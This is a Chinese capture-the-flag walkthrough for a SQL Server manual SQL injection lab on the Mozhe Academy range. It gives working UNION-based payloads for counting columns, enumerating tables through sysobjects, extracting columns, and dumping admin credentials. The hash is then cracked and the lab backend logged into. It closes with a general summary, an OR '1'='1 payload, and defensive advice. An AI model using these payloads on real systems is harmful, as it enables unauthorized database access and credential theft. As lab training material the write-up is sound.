墨者学院;SQL手工注入;在线靶场;SQLsever;

本文详细讲述了如何通过SQL注入技巧逐步获取数据库管理权限,包括权限级别理解、注入验证、字段判断、数据泄露与爆表操作,最终实现对admin_mz账户的登录。

1、启动靶场环境;

一颗墨币启靶场;

 

 

点击右下角; 

2、SQLServer有三个权限级别:

sa权限:数据库操作,⽂件管理,命令执⾏,注册表读取等system:SQLServer数据库的最 ⾼权限

db权限:⽂件管理,数据库操作等权限 users-administrators

public权限:数据库操作 guest-users 

使用'           

报错,有注入点;

3、输入and 1=1 正常

and 1=2 报错--->数字型注入实锤了;

 4、判断出字段为4个字段;等于实际字段数不报错,大于或小于实际字段数会报错

order by 5

 

order by 4

order by 3 

 

 5、判断回显字段,这里使用联合查询union;记得在sql sever中要加all,占位符使用null;

union all select null,null,null,null

这里将前面id=2修改为id=-2;回显2时加上'',便可以回显成功了; 

?id=-2 union all select null,'2',null,null

 ?id=-2 union all select null,'2','3',null

6、这里尝试一下用带引号的字符串占位,看一下会不会报错;

发现并没有报错;

 

  ?id=2 union all select '1','2','3','4'

加上"-"试一下; 

?id=-2 union all select '1','2','3','4'

也可以回显,之前练习出了些许问题;

有可能是SQLserver里面对中文输入法下的“=”,和“-”会识别错误;

中文空格和英文空格会导致url编码不一致,导致查询错误;

UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型;

7、查看数据库版本;数据库名字; 

?id=-2 union all select '1',(select @@version),(select db_name()),'4'

 

8、查数据库主机名;数据库拥有者;

 ?id=-2 union all select '1',(select host_name()),(select user),'4'

dbo是数据库默认用户,具有所有者权限;

 9、有安装⾃带的数据表sysobjects和syscolumns等

sysobjects:记录了数据库中所有表,常⽤字段为id、name和xtype。

syscolumns:记录了数据库中所有表的字段,常⽤字段为id、name和xtype。

id为标识,name为对应的表名和字段名,xtype为所对应的对象类型

 10、爆表;manage;

top n #查询前n条记录;

limit 2,3 #查询第2条开始的3条数据;

查询dbo.sysobjects表中⽤户创建的表,获取其对应的id和name

dbo.sysobjects 系统⾃带库 xtype='U' 是指⽤户创建的表

?id=-2 union all select '1',(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3','4'

获取manage对应id;

?id=-2 union all select null,id,name,null from dbo.sysobjects where xtype= 'U'

找到第二张表和其对应id;

?id=-2 union all select null,id,name,null from dbo.sysobjects where xtype= 'U' and id <> 5575058

 

没有第三张表了;

?id=-2 union all select null,id,name,null from dbo.sysobjects where xtype= 'U' and id <> 5575058 and id <> 101575400

 

11、爆字段

object ():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回用户创建的对像的ID,像以sys开头的表都是系统表所以返回不了的

col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果.

?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), '3' ,4

 

 

?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4

 ?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4

 

 12、爆数据 

?id=-2 union all select top 1 null,username,password,null from manage

admin_mz

72e1bfc3f01b7583 


 

 

 ?id=-2 union all select top 2 null,username,password,null from manage

 

只有一条.......... 

13、md5在线解密;

97285101

 14、登陆去了..........

admin_mz 

97285101

 

 

 

恭喜你 admin_mz 成功登录用户管理后台,KEY: mozhe503bb739fd11b93e4112e89edbb

15、提交key

 

 

### 关于SQL手工注入的学习 #### SQL手工注入简介 SQL注入是一种常见的Web应用程序攻击方式,通过向查询参数输入恶意的SQL语句片段,从而改变原有SQL命令的行为。这种技术能够绕过身份验证机制、读取敏感数据甚至控制服务器。 #### 靶场环境介绍 墨者学院提供了一个专门用于练习SQL注入技巧的安全测试平台[^2]。此靶场基于Nginx+PHP+MySQL架构构建而成,并且访问成本低廉——仅需消耗一枚虚拟货币“币”,新用户注册时通常会被赠送足够的余额来进行多次尝试而不必担心额外开销。 #### 实践案例分析 对于想要深入了解如何实施SQL注入的人来说,在实际操作之前先观察目标网站是否存在潜在可利用之处非常重要。比如查看URL中的GET请求参数是否未经充分过滤就被直接拼接到后台执行的SQL指令里;又或者是POST表单提交的数据项有没有被妥善处理等情形都可能是突破口所在[^1]。 当确认存在风险点之后,则可以根据具体场景采取不同策略展开进一步探索: - **字符型字段**:如果发现某个文本框允许接收任意字符串作为输入值的话,那么就可以试着构造一些特殊模式串去试探内部逻辑反应情况。例如`' OR '1'='1`这样的表达式往往能帮助判断出是否有漏洞存在以及其大致位置范围[^3]。 - **联合查询(UNION SELECT)**:这是一种较为高级但也非常实用的方法之一。它可以让攻击者将自己的SELECT子句附加到原始查询后面并获取更多有用的信息。像下面这条语句就是用来枚举当前库内所有表格名称及其所属数据库名的一个例子: ```sql new_list.php?id=-1 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),DATABASE(),4 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() ``` 请注意上述做法仅供合法授权下的渗透测试培训用途,请勿非法入侵任何网络设施! #### 安全建议 为了防止遭受此类威胁影响业务正常运转,开发者应当遵循最佳编码实践指南,如采用预编译语句代替动态组装SQL文法结构;严格校验前端传来的一切外部可控变量合法性;定期审查源码质量排除隐患等等措施加强防护力度。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值